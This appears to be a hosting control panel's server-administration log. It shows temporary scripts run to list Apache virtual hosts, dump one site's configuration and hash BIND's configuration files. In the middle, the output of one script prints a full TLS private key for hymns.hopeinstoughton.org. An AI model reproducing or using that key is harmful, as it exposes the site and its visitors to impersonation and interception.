MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:41:45: Establishing a connection
2026-01-03 18:41:46:
PUT: /tmp/pkp350949
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 18:41:47:
chmod 755 /tmp/pkp350949; /tmp/pkp350949; rm /tmp/pkp350949
2026-01-03 18:41:47:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 18:41:47:
PUT: /tmp/pkp332506
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:41:47:
chmod 755 /tmp/pkp332506; /tmp/pkp332506; rm /tmp/pkp332506
2026-01-03 18:41:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 18:41:47:
PUT: /tmp/pkp185314
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:41:48:
chmod 755 /tmp/pkp185314; /tmp/pkp185314; rm /tmp/pkp185314
2026-01-03 18:41:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 18:41:49: Establishing a connection
2026-01-03 18:41:49:
PUT: /tmp/pkp548546
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:41:49:
runuser -l bind -s /bin/bash -c '/tmp/pkp548546; rm /tmp/pkp548546'
2026-01-03 18:41:49:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
